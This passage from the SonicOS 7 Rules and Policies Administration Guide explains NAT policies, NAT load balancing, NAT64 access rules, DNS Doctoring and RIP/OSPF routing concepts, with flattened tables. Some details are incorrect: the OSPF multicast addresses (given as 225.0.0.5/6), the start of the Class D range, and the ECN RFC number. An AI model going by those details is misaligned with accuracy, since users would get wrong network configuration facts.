NAT Rules
To create a many-to-many policy: 1. Navigate to the OBJECT | Match Objects > Addresses page.
2. Click +Add at the top of the page. The Address Object Settings dialog displays.
3. Enter a description for the address range, such as public_range, in the Name field. 4. Select WAN as the zone from the Zone Assignment drop-down menu. 5. Choose Range from the Type drop-down menu. The Address Object Settings dialog changes.
SonicOS 7 Rules and Policies Administration Guide
52
NAT Rules
6. Enter the range of addresses (usually public IP addresses supplied by your ISP) in the Starting IP Address and Ending IP Address fields.
7. Click Save to create the range object. The new address object is added to the Address Objects table.
8. Click Close. 9. Navigate to the POLICY | Rules and Policies > NAT Rules page. 10. Click +Name at the top of the NAT Policies table. The Add NAT Policy dialog displays. 11. To create a NAT policy to allow the systems on the LAN subnets (by default, the X0 interface) to
initiate traffic using the public range addresses, choose the options shown in Option choices: Manyto-many NAT policy example:
OPTION CHOICES: MANY-TO-MANY NAT POLICY EXAMPLE
Option Original Source Translated Source Original Destination Translated Destination Original Service Translated Service Inbound Interface Outbound Interface Comment Enable NAT Policy Create a reflexive policy
Value LAN Subnets public_range Any Original Any Original X0 X1 Enter a short description Checked (dimmed)
SonicOS 7 Rules and Policies Administration Guide
53
NAT Rules
12. Click Add to add and activate the NAT policy. The new policy is added to the NAT Policies table. 13. Click Close to close the Add NAT Policy dialog.
With this policy in place, the firewall dynamically maps outgoing traffic using the four available IP addresses in the range you created.
You can test the dynamic mapping by installing several systems on the LAN interface (by default, the X0 interface) at a spread-out range of addresses (for example, 192.168.10.10, 192.168.10.100, and 192.168.10.200) and accessing the public website http://www.whatismyip.com from each system. Each system should display a different IP address from the range you created and attached to the NAT policy.
NOTE: If a many-to-many NAT policy contains source original and source translated with the same network prefix, the remaining part of the IP address is unchanged.
Creating a One-to-Many NAT Load Balancing Policy
One-to-many NAT policies can be used to persistently load balance the translated destination using the original source IP address as the key to persistence. For example, firewalls can load balance multiple SonicWall SMA appliances, while still maintaining session persistence by always balancing clients to the correct destination SMA appliance.
This NAT policy is combined with an Allow access rule.
SonicOS 7 Rules and Policies Administration Guide
54
NAT Rules
To configure a one-to-many load balancing policy and access rule: 1. Navigate to the POLICY | Rules and Policies > Access Rules page.
2. Click +Add Rule to display the Create Access Rule wizard.
3. Enter the values shown in the Option choices: One-to-many Access Rule table. OPTION CHOICES: ONE-TO-MANY ACCESS RULE
Option Action From To Source Port
Value
Allow
WAN
LAN
Select a port; the default is Any NOTE: If Source Port is configured, the access rule filters the traffic based on the source port defined in the selected service object/group. The service object/group selected must have the same protocol types as the ones selected in Service.
SonicOS 7 Rules and Policies Administration Guide
55
NAT Rules
Option
Value
Service
HTTPS
Source
Any
Destination
WAN Primary IP
Users Included
All
Users Excluded
None (default)
Schedule
Always on
Comment
Descriptive text, such as SMA LB
Enable logging
Selected
Allow Fragmented Packets
Selected
All other options
Unselected
4. Click Apply. The rule is added. If desired, continue with the wizard by clicking Next, following the directions in Configuring Access Rules.
5. Click Close. 6. Navigate to the POLICY | Rules and Policies > NAT Rules page. 7. Click +Name at the top of the page. The Add NAT Policy dialog displays.
8. To create a NAT policy to allow the web server to initiate traffic to the public Internet using its
SonicOS 7 Rules and Policies Administration Guide
56
NAT Rules
mapped public IP address, choose the options shown in the Option choices: One-to-many NAT load balancing policy example table.
OPTION CHOICES: ONE-TO-MANY NAT LOAD BALANCING POLICY EXAMPLE
Option
Value
Original Any Source
Translated Original Source
Original WAN Primary IP Destination
Translated Select Create new address object to display the Add Address Object dialog. Destination Use the options shown in Option Choices: Add Address Object Dialog.
OPTION CHOICES: ADD ADDRESS OBJECT DIALOG
Option
Value
Name
A descriptive name, such as MySMA
Zone assignment LAN
Type
Host
IP Address
The IP addresses for the devices to be load balanced (in the topology for these examples, this is 192.168.200.10, 192.168.200.20, and 192.168.200.30.)
Original Service
HTTPS
Translated HTTPS Service
Inbound Any Interface
Outbound Any Interface
Comment Descriptive text, such as SMA LB
Enable NAT Selected Policy
SonicOS 7 Rules and Policies Administration Guide
57
NAT Rules
Option
Value
Create a reflexive policy
Not selected
9. When done, click Save to add and to continue configuring the NAT policy. 10. Click Close.
For a more specific example of a one-to-many NAT load balancing policy, see Configuring NAT Load Balancing for Two Web Servers.
Creating a NAT Load Balancing Policy for Two Web Servers
This is a more specific example of a one-to-many NAT load balancing policy. To configure NAT load balancing in this example, complete the following tasks:
l Enabling Logging and Name Resolution for Logging l Creating Address Objects and an Address Group l Creating the Inbound NAT Load Balancing Policy l Creating the Outbound NAT Policy l Creating an Access Rule l Verifying and Troubleshooting the NAT Load Balancing Configuration
Enabling Logging and Name Resolution for Logging
IMPORTANT: It is strongly advised that you enable logging for all categories, and enable name resolution for logging.
SonicOS 7 Rules and Policies Administration Guide
58
NAT Rules
To enable logging: 1. Navigate to the DEVICE | Log > Settings | Edit Attributes page.
2. Choose Debug from the Model Content Event Priority drop-down menu. 3. Select Enable for Display Events in Log Monitor and for any other desired settings.
TIP: Debug logs should only be used for initial configuration and troubleshooting, and it is advised that once setup is complete, you reset the logging level back to a more appropriate level for your network environment. 4. Click Update. 5. Click Accept on the DEVICE | Log > Settings page to save and activate the changes.
To enable log name resolution:
1. Navigate to the DEVICE | Log > Name Resolution page. 2. Choose DNS then NetBIOS from the Name Resolution Method drop-down menu. The DNS
Settings section displays.
SonicOS 7 Rules and Policies Administration Guide
59
NAT Rules
3. Select the Inherit DNS Settings Dynamically from WAN Zone option. The Log Resolution DNS Server fields are filled automatically and cannot be changed.
4. Click Accept to save and activate the changes.
Creating Address Objects and an Address Group
To create address objects and an address group: 1. Navigate to the OBJECT | Match Objects > Addresses page. 2. Create address objects for both of the internal web servers as well as for the Virtual IP on which external users will access the servers. For example:
SonicOS 7 Rules and Policies Administration Guide
60
NAT Rules
3. Click over to the Address Groups view. Click + Add. 4. Create an address group named www_group and add the two internal server address objects you just
created. For example:
SonicOS 7 Rules and Policies Administration Guide
61
NAT Rules
Creating the Inbound NAT Load Balancing Policy
To configure the inbound NAT load balancing policy:
1. Navigate to the POLICY | Rules and Policies > NAT Rules page. 2. Click +Name and create an Inbound NAT policy for www_group to allow anyone attempting to access
the Virtual IP to get translated to the address group you just created. The General settings are shown below:
NOTE: Do not save the NAT rule just yet. 3. Click Advanced. On the Advanced view under NAT Method, select Sticky IP as the NAT Method. 4. Under High Availability, select Enable Probing. 5. For Probe type, select TCP from the drop-down menu, and type 80 into the Port field.
This means that SonicOS checks to see if the server is up and responding by monitoring TCP port 80 (which is what people are trying to access). 6. Click Update to save and activate the changes.
NOTE: Before you go any further, check the logs and the status page to see if the resources have been detected and have been logged as online. Two alerts will appear as Firewall Events with the message Network Monitor: Host 192.160.200.220 is online (with your IP addresses). If you do not see these two messages, check the previous steps. 7. Click Close.
Creating the Outbound NAT Policy
To configure the corresponding outbound NAT policy:
1. Navigate to the POLICY | Rules and Policies > NAT Rules page. 2. Click +Name and create an Outbound NAT policy for www_group to allow the internal servers to get
SonicOS 7 Rules and Policies Administration Guide
62
NAT Rules
translated to the Virtual IP when accessing resources out the WAN interface (by default, the X1 interface). The General settings are shown below. Advanced settings are not needed.
Creating an Access Rule
To configure the access rule: 1. Navigate to the POLICY | Rules and Policies > Access Rules page. 2. Click +Add Rule to start the wizard and create an access rule to allow traffic from the outside to access the internal web servers through the Virtual IP.
SonicOS 7 Rules and Policies Administration Guide
63
NAT Rules
3. Click Apply to create the access rule and Next to continue with the wizard. 4. Click Close to exit the dialog.
Verifying and Troubleshooting the NAT Load Balancing Configuration
Test your work by connecting via HTTP to a web page hosted on one of the internal web servers using a browser from a computer outside the WAN. You should be connected via the Virtual IP.
NOTE: If you wish to load balance one or more SonicWall SMA Appliances, repeat these procedures using HTTPS instead of HTTP as the allowed service.
If the web servers do not seem to be accessible, go to the POLICY | Rules and Policies > Access Rules page and click the expansion arrow next to the web server in question to view its Traffic Statistics.
If the rule is configured incorrectly you will not see any Rx or TX Bytes; if it is working, you will see these increment with each successful external access of the load balanced resources.
Finally, check the logs and the status page to see if there are any alerts (noted in yellow) about the Network Monitor noting hosts that are offline; it may be that all of your load balancing resources are not reachable by the firewall and that the probing mechanism has marked them offline and out of service. Check the load balancing resources to ensure that they are functional and check the networking connections between them and the firewall.
Creating a WAN-to-WAN Access Rule for a NAT64 Policy
When an IPv6-only client initializes a connection to an IPv4 client/server, the IPv6 packets received by the NAT64 translator look like ordinary IPv6 packets:
l Source zone is LAN l Destination zone is WAN
SonicOS 7 Rules and Policies Administration Guide
64
NAT Rules
After these packets are processed through the NAT policy, they are converted IPv4 packets and are handled by SonicOS again. At this point, the source zone for these packets is WAN, while the destination zone is the same as the original IPv6 packets. If the cache for these IPv4 packets is not already created, these packets undergo policy checking. In order to prevent these packets from being dropped, a WAN-to-WAN Allow access rule must be configured. To create a WAN-to-WAN access rule:
1. Navigate to the POLICY | Rules and Policies > Access Rules page.
2. Click +Add Rule. The Create Access Rule wizard displays.
3. Configure the options:
Option Action From To
Value Allow WAN WAN
SonicOS 7 Rules and Policies Administration Guide
65
NAT Rules
Option
Value
Source Port
Any
Service
Any
Source
All WAN IP NOTE: All WAN IP is the default address group created by SonicOS that includes all WAN IP addresses that belong to the firewall WAN interface(s). All WAN IP cannot be configured.
Users Included
All
Users Excluded
None
Schedule
Always on
Comment
IPv4 from Any to Any for Any service (optional)
All other options
Leave as is or optionally configure accordingly
4. Click Apply and continue with the wizard by clicking Next. 5. Click Close.
DNS Doctoring
Introduction
DNS Doctoring allows the firewall to change the embedded IP addresses in Domain Name System (DNS) responses so that clients can connect to the correct IP address of servers. Specifically, DNS Doctoring performs two functions:
l Translates a public address in a DNS reply to a private address when the DNS client is on a private interface.
l Translates a private address to a public address when the DNS client is on the public interface.
Configuring DNS Doctoring
There are two kinds of situations that in which we need to use the DNS Doctoring feature. The first one is shown in the Client Internal graphic. In this scenario, the local client and the local application server are both located on the inside interface of our appliance, while the DNS server that the client uses is located on another public network. When the client wants to access the server with its URL, the DNS server would return the public address of the application server to the client. So the client can't access the local server with its public address.
SonicOS 7 Rules and Policies Administration Guide
66
NAT Rules
CLIENT INTERNAL
Client External shows the second situation. The DNS server and application server are located on the inside interface of our appliance. When the external client tries to access the application server, the DNS server that the client uses would hand out the private address. But the external cannot access to the server with its private address.
CLIENT EXTERNAL
SonicOS 7 Rules and Policies Administration Guide
67
NAT Rules
3
Routing Rules
For SD-WAN routing and route policies, see Configuring SD-WAN Route Policies.
Topics: l About Routing l About Metrics and Administrative Distance l Route Advertisement l ECMP Routing l Policy-based Routing l Policy-based TOS Routing l PBR Metric-based Priority l Policy-based Routing and IPv6 l OSPF and RIP Advanced Routing Services l Drop Tunnel Interface l App-based Routing l Rules and Policies > Route Policy
About Routing
SonicWall Security Appliances support the following routing protocols: l RIPv1 (Routing Information Protocol) l RIPv2 l OSPFv2 (Open Shortest Path First) l OSPFv3 l PBR (Policy-Based Routing)
SonicOS 7 Rules and Policies Administration Guide
68
Routing Rules
Topics:
l About Metrics and Administrative Distance l Route Advertisement l ECMP Routing l Policy-based TOS Routing l PBR Metric-based Priority l Policy-based Routing and IPv6 l OSPF and RIP Advanced Routing Services l Policy-based Routing and IPv6
About Metrics and Administrative Distance
Metrics and administrative distance affect network performance, reliability, and circuit selection.
About Metrics
A metric is a weighted cost assigned to static and dynamic routes. Metrics determine the best route among several, usually the gateway with the lowest metric. This gateway is usually the default gateway.
Metrics have a value between 1 and 254; see Metric Value Descriptions. Lower metrics are considered better and take precedence over higher costs. SonicOS adheres to Cisco-defined metric values for directly connected interfaces, statically encoded routes, and all dynamic IP routing protocols.
METRIC VALUE DESCRIPTIONS
Metric Value
Description
1
Static Route
5
EIGRP Summary
20
External BGP
90
EIGRP
100
IGRP
110
OSPF
115
IS-IS
120
RIP
140
EGP
170
External EIGRP
200
Internal BGP
SonicOS 7 Rules and Policies Administration Guide
69
Routing Rules
About Administrative Distance
Administrative distance (admin distance) is a value that influences which source of routes should be used for two identical routes from different sources. The lower the administrative distance value, the more trusted the route.
The admin distance, when set, is only used by the ZebOS components when choosing which routes to:
l Populate into PBR l Redistribute to other routing protocols when a static route competes with a route received from a
particular routing protocol.
The admin distance is not used for prioritizing routes within PBR itself, so unless dynamic routing is in use, the admin distance set for a static route has no effect. When dynamic routing is being used, the admin distance provides a mechanism by which static routes defined in PBR can be compared to otherwise equivalent dynamic routes possibly received from protocols such as OSPF, RIP, or BGP. By default, the admin distance of a PBR static route inserted into the network services module (NSM) is equal to the metric defined for the PBR route. The admin distance of each static route may optionally be set to a different value when a custom value is entered for Admin Distance.
For example, if a simple (destination only) static route (for example, destination = 14.1.1.0/24) is defined with a metric of 10 and the admin distance set to its default of Auto, that route is populated into NSM with an admin distance and metric of 10.
Now assume the same 14.1.1.0/24 route is received from both RIP and OSPF. RIP routes have a default admin distance of 120 and OSPF routes 110, so the static route, with a default admin distance (== the metric) of 10 would be preferred over both routes, and NSM would not populate either the OSPF or RIP route into PBR. If the admin distance of the static route had been set to 115 (keeping the metric at 10), however, then the OSPF route (at 110) would be preferred over the static route, but the RIP route would not. If the OSPF route disappeared, NSM would withdraw the OSPF route and would not populate the RIP route as its 120 AD is greater than the static route's 115 AD.
In either of the above cases, the static route is still preferred in PBR because all non-default routes populated into PBR from NSM are added with a 110 metric, which is greater than the metric of 10 for the static route.
If an admin distance of 110 and a metric > 110 are used for the static routes, the metric value passed to NSM would be used by OSPF when it compares the metric of the static route to the OSPF metric (or cost) of any competing OSPF route.
Route Advertisement
SonicWall Security Appliances use RIPv1 or RIPv2 to advertise its static and dynamic routes to other routers on the network. Changes in the status of VPN tunnels between the Security Appliance and remote VPN gateways are also reflected in the RIPv2 advertisements. Based on your router's capabilities or configuration, choose between:
l RIPv1, which is an earlier version of the protocol, has fewer features, and sends packets through broadcast instead of multicast.
l RIPv2, which is a later version of the protocol, includes subnet information when multicasting the routing table to adjacent routers and route tags for learning routes. RIPv2 packets are backwards
SonicOS 7 Rules and Policies Administration Guide
70
Routing Rules
compatible and can be accepted by some RIPv1 implementations that provide an option of listening for multicast packets. The RIPv2 Enabled (broadcast) selection, which broadcasts packets instead of multicasting them, is for heterogeneous networks with a mixture of RIPv1 and RIPv2 routers.
ECMP Routing
SonicOS supports equal-cost multi-path (ECMP) routing, a technique for routing packets along multiple paths of equal cost. The forwarding engine identifies paths by next-hop. When forwarding a packet, the router must decide which next-hop (path) to use. Multi-path routing can be used in conjunction with most routing protocols.
In SonicOS, you can use ECMP routing to specify multiple next hops for a given route's destination. In environments with substantial requirements, there are several reasons for doing this. A router could just use one ISP most of the time, and switch to the other when the first one fails for some reason. Another application of multi-path is to keep a path on standby and enable it only when bandwidth requirements surpass a predefined threshold. SonicOS supports up to four next-hop paths.
Various routing protocols, including Open Shortest Path First (OSPF) and Intermediate System to Intermediate System (ISIS), explicitly allow ECMP routing. Some router implementations also allow equalcost multi-path usage with RIP and other routing protocols.
Policy-based Routing
A simple static routing entry specifies how to handle traffic that matches specific criteria, such as destination address, destination mask, gateway to forward traffic, the interface that gateway is located, and the route metric. This method of static routing satisfies most static requirements, but is limited to forwarding based only on destination addressing.
Policy-based Routing (PBR) allows you to create extended static routes to provide more flexible and granular traffic handling capabilities. SonicOS PBR allows for matching based upon source address, source netmask, destination address, destination netmask, service, interface, and metric. This method of routing allows for full control of forwarding based upon a large number of user defined variables.
PBR supports Fully Qualified Domain Name (FQDN). A FQDN cannot be used as the source or destination of the PBR entry, and the PBR entry can be redistributed to advanced routing protocols.
Policy-based TOS Routing
SonicOS supports policy-based TOS (type of service) routing when defining policy-based routing (PBR) policies by Type of Service (TOS) and TOS mask values. When defined, the TOS and mask values are compared against the associated IP packet's TOS/DSCP field in the IP header when finding a route match.
The TOS value is compared to an 8-bit field in the IP packet header (for information about this header, see RFC 2474, Differentiated Services, and RFC 2168, Explicit Congestion Notification). The TOS value can be used to define services relating to quantitative performance requirements (for example, peak bandwidth) and those based on relative performance (for example, class differentiation).
TOS routing differs from existing SonicOS QoS marking, which does not affect the routing of a packet and cannot forward packets differently based on an inbound packet's TOS field. TOS Routing provides this
SonicOS 7 Rules and Policies Administration Guide
71
Routing Rules
capability by allowing policy routes to define a TOS Value/TOS Mask pair to be compared to inbound packets for differential forwarding. TOS routing only applies to packets as they enter the Security Appliance.
With TOS routing, it is possible to define multiple policy routes with identical source IP, destination IP, and service values, but differing TOS/TOS mask values. This allows packets with marked TOS fields to be forwarded differently based on the value of the TOS field in the inbound packet.
Any PBR policy routes defined before SonicOS have no values defined for the TOS/TOS mask. Likewise, the default values for TOS/TOS mask fields are zero (no values defined).
Policy routes with a TOS value other than zero are prioritized before all simple destination-only routes, but below any policy routes that define a source or service. When comparing two TOS Policy routes, and assuming both have the same set of source, destination, and service values either defined or not defined, the TOS route with the greater number of TOS mask bits set to 1 is prioritized before TOS routes with fewer TOS mask bits set.
The general prioritization (high to low) of PBR routes is as follows, based on the policy fields defined as anything other than Any or zero for TOS:
l Destination, Source, Service, TOS l Destination, Source, Service l Destination, Source, TOS l Destination, Source l Destination, Service, TOS l Destination, Service l Destination, TOS l Destination l Source, Service, TOS l Source, Service l Source, TOS l Source l Service, TOS l Service l TOS
PBR Metric-based Priority
SonicOS supports a metric weighted cost assigned to a route policy for policy-based routing (PBR) that allows the configured metric to take precedence in route prioritization over the route specificity that used by default. Metrics have a value between 0 and 255. Lower metrics are considered better and take precedence over higher ones.
The general prioritization (high to low) of PBR routes is as follows, based on the policy fields defined as anything other than Any, or zero for TOS:
l Destination, Source, Service, TOS l Destination, Source, Service l Destination, Source, TOS l Destination, Source l Destination, Service, TOS l Destination, Service l Destination, TOS l Destination
SonicOS 7 Rules and Policies Administration Guide
72
Routing Rules
l Source, Service, TOS l Source, Service l Source, TOS l Source l Service, TOS l Service l TOS
Within these 15 classifications, routes are further prioritized based on the cumulative specificity of the defined route entries. For the source and destination fields, specificity is measured by counting the number of IP addresses represented in the address object. For example, the network address object, 10.0.0.0/24, would include 256 IP addresses, while the network address object, 10.0.0.0/20, would represent 4096. The longer /24 (24 bit) network prefix represents fewer host IP addresses and is more specific.
The new metric-weighted option allows the configured metric to take precedence in prioritization over the route specificity. With the option enabled, the precedence used during prioritization is as follows (high to low):
1. Route class (determined by the combination of source, destination, service, and TOS fields with values other than Any or zero)
2. The value of the Metric 3. The cumulative specificity of the source, destination, service, and TOS fields
Policy-based Routing and IPv6
For complete information on the SonicOS implementation of IPv6, see IPv6.
Policy-based Routing is fully supported for IPv6 by selecting IPv6 address objects and gateways for route policies on POLICY | Rules and Policies > Routing Rules. You can switch the entries in the Route Policies table between IPv4 and IPv6.
Routing Information Protocol next generation (RIPng) is an information routing protocol for IPv6, which allows routers to exchange information for computing routes through an IPv6-based network.
For information on route advertisement or for information on setting up Route Policies, see Route Advertisement.
OSPF and RIP Advanced Routing Services
In addition to Policy-based Routing and RIP advertising, SonicOS offers the option of enabling Advanced Routing Services (ARS). Advanced Routing Services provides full advertising and listening support for the Routing Information Protocol (RIPv1 - RFC1058) and (RIPv2 - RFC2453), and Open Shortest Path First (OSPFv2 RFC2328). Advanced Routing Service should only be enabled by those environments requiring support for either or both of these dynamic routing protocols.
RIP and OSPF are Interior Gateway Protocols (IGP) that are both widely used by networks of various sizes to automate the process of route distribution. RIP is commonly used within smaller networks, while OSPF is used by larger networks, although network size should not be the only factor used to determine the appropriateness of one protocol over the other network speed, interoperability requirements, and relative overall complexity, for example, should also be considered. RIPv1 and RIPv2 are both supported by ARS, the largest differences between the two being that RIPv2 supports VLSM (Variable Length Subnet Masks),
SonicOS 7 Rules and Policies Administration Guide
73
Routing Rules
authentication, and routing updates. Routing Information Protocol Differences illustrates the major differences between RIPv1, RIPv2, and OSPFv2/OSPFv3:
ROUTING INFORMATION PROTOCOL DIFFERENCES
RIPv1
Protocol metrics Distance Vector
Maximum Hops 15
Routing table updates
Full table broadcast periodically, slower convergence
Subnet Sizes Supported
Only class-based (a/b/c) subnets support
Autonomous
Indivisible and flat
system topology
RIPv2 Distance Vector 15 Full table broadcast or multicast periodically, slower convergence Class-based only
Indivisible and flat
OSPFv2/OSPFv3 Link State Unlimited Link state advertisement multicasts, triggered by changes, fast convergence VLSM
Area-based, allowing for segmentation and aggregation
Topics:
l About Routing Services l OSPF Terms
About Routing Services
Topics:
l Protocol Type l Maximum Hops l Split-Horizon l Poison Reverse l Routing Table Updates l Subnet Sizes Supported l Autonomous System Topologies
Protocol Type
Distance Vector protocols such as RIP base routing metrics exclusively on hop counts, while Link state protocols such as OSPF consider the state of the link when determining metrics. For example, OSPF determines interface metrics by dividing its reference bandwidth (100mbits by default) by the interface speed the faster the link, the lower the cost and the more preferable the path. Consider the example network shown in Example network for determining lowest cost route:
SonicOS 7 Rules and Policies Administration Guide
74
Routing Rules
EXAMPLE NETWORK FOR DETERMINING LOWEST COST ROUTE
In the sample network shown in Example Network for Determining Lowest Cost Route, if Host A wanted to reach Host B, with RIP, the lowest cost route would be from Router A to Router B, across the relatively slow 64kbps link. With OSPF, the cost from Router A to Router B would be 1562, while the cost from Router A to Router C to Router D to Router B would be 364, making it the preferred route.
Maximum Hops
RIP imposes a hop count of 15 to help prevent routing loops which can occur when bad (for example, stale) routing information is broadcast and propagated through a network either due to misconfiguration, or slow convergence. Consider if the link between Router D and Router E failed in the example in Maximum Hops, and there were no safeguards in place:
l Router A's routing information states that it can reach Network E through Router B or Router C with a metric of 3.
l When the link between Router D and Router E fail, and Router A broadcasts its routing information, Router B and Router C determine that they can reach Network E through Router A with a metric of 4.
l Router B and Router C broadcast this information, and it is received by Router D which then determines it can reach Network E through Router B or Router C with a metric of 5.
l This loop continues until the hop count of 16 (infinity) is reached.
Other measures against this sort of situation are also commonly employed by RIP, including:
l Split-HorizonRouting Table Updates l Poison Reverse l Routing Table Updates
SonicOS 7 Rules and Policies Administration Guide
75
Routing Rules
l Subnet Sizes Supported l Autonomous System Topologies
Split-Horizon
A preventative mechanism where routing information learned through an interface is not sent back out the same interface. This generally works well on broadcast links, but not on non-broadcast links such as Frame Relay, where a single link can commonly be used to reach two separate autonomous systems.
Poison Reverse
Also known as route poisoning, an extension of split-horizon where a network is advertised with a metric of 16 (unreachable), helping to ensure that incorrect alternative routes are not propagated.
OSPF does not have to impose a hop count limit because it does not advertise entire routing tables, rather it generally only sends link state updates when changes occur. This is a significant advantage in larger networks in that it converges more quickly, produces less update traffic, and supports an unlimited number of hops.
Routing Table Updates
As mentioned above, the practice of sending an entire routing table introduces the problems of slower convergences, higher bandwidth utilization, and increased potential for stale routing information. RIPv1 broadcasts its entire routing table at a prescribed interval (usually every 30 seconds), RIPv2 can either broadcast or multicast, and OSPF multicasts only link state updates whenever a change to the network fabric occurs. OSPF has a further advantage of using designated routers (DR) in forming adjacencies in multiple-access networks (more on these concepts later) so that updates do not have to be sent to the entire network.
Subnet Sizes Supported
RIPv1 was first implemented when networks were strictly class A, class B, and class C (and later D and E):
Class A Class B Class C
1.0.0.0 to 126.0.0.0 (0.0.0.0 and 127.0.0.0 are reserved) l Left most bit 0; 7 network bits; 24 host bits l 0nnnnnnn hhhhhhhh hhhhhhhh hhhhhhhh (8-bit classful netmask) l 126 Class A networks, 16,777,214 hosts each 128.0.0.0 to 191.255.0.0 l Left most bits 10; 14 network bits; 16 host bits l 10nnnnnn nnnnnnnn hhhhhhhh hhhhhhhh (16-bit classful netmask) l 16,384 Class B networks, 65,532 hosts each 192.0.0.0 to 223.255.255.0 l Left most bits 110; 21 network bits; 8 host bits l 110nnnnn nnnnnnnn nnnnnnnn hhhhhhhh (24-bit classful netmask) l 2,097,152 Class Cs networks, 254 hosts each
SonicOS 7 Rules and Policies Administration Guide
76
Routing Rules
Class D Class E
225.0.0.0 to 239.255.255.255 (multicast) l Left most bits 1110; 28 multicast address bits l 1110mmmm mmmmmmmm mmmmmmmm mmmmmmmm 240.0.0.0 to 255.255.255.255 (reserved) l Left most bits 1111; 28 reserved address bits l 1111rrrr rrrrrrrr rrrrrrrr rrrrrrrr
This method of address allocation proved to be very inefficient because it provided no flexibility, neither in the way of segmentation (subnetting) or aggregation (supernetting, or CIDR classless inter-domain routing) by means of VLSM variable length subnet masks.
VLSM, supported by RIPv2 and OSPF, allows for classless representation of networks to break larger networks into smaller networks:
For example, take the classful 10.0.0.0/8 network, and assign it a /24 netmask. This subnetting allocates an additional 16-bits from the host range to the network range (24-8=16). To calculate the number of additional networks this subnetting provides, raise 2 to the number of additional bits: 2^16=65,536. Thus, rather than having a single network with 16.7 million hosts (usually more than most LAN's require) it is possible to have 65,536 networks, each with 254 usable hosts.
VLSM also allows for route aggregation (CIDR):
For example, if you had 8 class C networks: 192.168.0.0/24 through 192.168.7.0/24, rather than having to have a separate route statement to each of them, it would be possible to provide a single route to 192.168.0.0/21 which would encompass them all.
This ability, in addition to providing more efficient and flexible allocation of IP address space, also allows routing tables and routing updates to be kept smaller.
Autonomous System Topologies
An autonomous system (AS) is a collection of routers that are under common administrative control and that share the same routing characteristics. When a group of autonomous systems share routing information, they are commonly referred to as a confederation of autonomous systems. (RFC1930 and RFC975 address these concepts in much greater detail). In simple terms, an AS is a logical distinction that encompasses physical network elements based on the commonness of their configurations.
With regard to RIP and OSPF, RIP autonomous systems cannot be segmented, and all routing information must be advertised (broadcast) through the entire AS. This can become difficult to manage and can result in excessive routing information traffic. OSPF, on the other hand, employs the concept of Areas, and allows for logically, manageable segmentation to control the sharing of information within an AS. An Area ID is an administrative identifier. OSPF areas begin with the backbone area (area 0 or 0.0.0.0), and all other areas must connect to this backbone area (although there are exceptions). This ability to segment the routing AS helps to ensure that it never becomes too large to manage, or too computationally intensive for the routers to handle.
SonicOS 7 Rules and Policies Administration Guide
77
Routing Rules
OSPF Terms
OSPF is substantially more complicated to configure and maintain than RIP. The following concepts are critical to understanding an OSPF routing environment:
l Link state As it pertains to OSPF, a link is an egress interface on a router, and the state describes characteristics of that interface, such as its cost. Link states are sent in the form of Link State Advertisements (LSA) which are contained within Link State Update (LSU) packets, one of five types of OSPF packets.
l Cost A quantification of the overhead required to send a packet along a particular link. Cost is calculated by dividing a reference bandwidth (usually 100mbit, or 10^8 bit) by an interface's speed. The lower the cost, the more preferable the link. Some common path costs are shown in Cost Calculation for Different Interfaces.
COST CALCULATION FOR DIFFERENT INTERFACES
Interface Fast Ethernet Ethernet T1 (1.544mbit) DSL (1mbit) DSL (512kbps) 64kbps 56kbps
Divided by 10^8 (100mbit) = OSPF Cost 1 10 64 100 200 1562 1785
l Area The network comprising the group of OSPF routers intended to share a common Link State Database. OSPF networks are built around the backbone area (area 0, or 0.0.0.0) and all other areas must connect to the backbone area (unless virtual links are used, which is generally discouraged). Area assignment is interface specific on an OSPF router; in other words, a router with multiple interfaces can have those interfaces configured for the same or different areas.
l Neighbors OSPF routers on a common network segment have the potential to become neighbors by means of sending Hello packets. Hello packets act as a form of advertisement and identification, and if two OSPF routers share a common set of certain characteristics, they become neighbors upon seeing their own router ID in the other router's Hello packet. Hello packets are also used in the DR (Designated Router) and BDR (Backup Designated Router) election process. For two routers to become neighbors, the characteristics that they must have in common are:
l Area-ID An area ID identifies an OSPF area with a 32-bit value, and is generally represented in an IP address format. OSPF requires at a minimum the backbone area, area 0 (or 0.0.0.0) for operation.
l Authentication Authentication types can generally be set to none, simple text, or MD5. When using simple text, authentication should be used only for identification, as it is sent in the clear. For security, MD5 should be used.
l Timer intervals Hello and Dead intervals must be the same. The Hello interval specifies the number of seconds between Hello packets (as a Keepalive function), and the Dead interval specifies the number of seconds after which a router is considered unavailable if a Hello is not received.
SonicOS 7 Rules and Policies Administration Guide
78
Routing Rules
l Stub area flag A Stub area is an area that only requires a single point of egress, and therefore does not require a full list of external link advertisements. The stub area flag on two potential neighbors must be the same to avoid inappropriate link state exchanges. Another factor that affects neighboring is the kind of network. OSPF recognizes three network types:
l Broadcast For example, Ethernet. In broadcast networks, neighboring can be established with all other routers in the broadcast domain.
l Point to Point For example, serial links. In point to point (or point to multipoint) networks, neighboring can be established with the router at the other end of the link.
l NBMA (non-broadcast multiple access) For example, frame relay. In NBMA networks, neighbors must be explicitly declared.
l Link State Database The Link State Database is composed of the LSA's sent and received by neighboring OSPF routers that have created adjacencies within an area. The database, after complete, contains all the link state information for a given area, at which time the Shortest Path First (SPF) algorithm is applied to determine the optimal route to all connected networks based on cost. The SPF algorithm employs the Dijkstra pathfinding algorithm, which essentially regards all routers as vertices in a graph, and computes the cost between each vertex.
l Adjacencies OSPF routers exchange LSA's with adjacent routers to create the LSDB. Adjacencies are created in different fashions depending on the network type (see Neighbors above). Generally, the network type is broadcast (for example, Ethernet) so adjacencies are formed by the exchanging OSPF packets in a handshake-like fashion (see OSPF Packet types below). To minimize the amount of information exchanged between adjacent routers, segments (broadcast domains) with multiple OSPF routers elect a Designated Router (DR) and a Backup Designated Router (BDR) using Hello packets.
l DR (Designated Router) On multi-access segments, OSPF routers elect a DR and a BDR, and all other routers on the segment create adjacencies with the DR and the BDR. DR election is based on a router's OSPF Priority, which is a configurable value from 0 (not eligible for DR) to 255. The router with the highest priority becomes the DR. In the event of a priority tie, the router with the highest Router ID (based on interface addressing) wins. When a router is the DR, its role is uncontested until it becomes unavailable.
LSA's are then exchanged within LSUs across these adjacencies rather than between each possible pairing combination of routers on the segment; see Routing adjacencies: Designated Router (DR). Link state updates are sent by non-DR routers to the multicast address 225.0.0.6, the RFC1583 assigned `OSPFIGP Designated Routers' address. They are also flooded by DR routers to the multicast address 225.0.0.5 `OSPFIGP All Routers' for all routers to receives the LSA's.
ROUTING ADJACENCIES: DESIGNATED ROUTER (DR)
SonicOS 7 Rules and Policies Administration Guide
79
Routing Rules
l OSPF Packet types The five types of OSPF packets are:
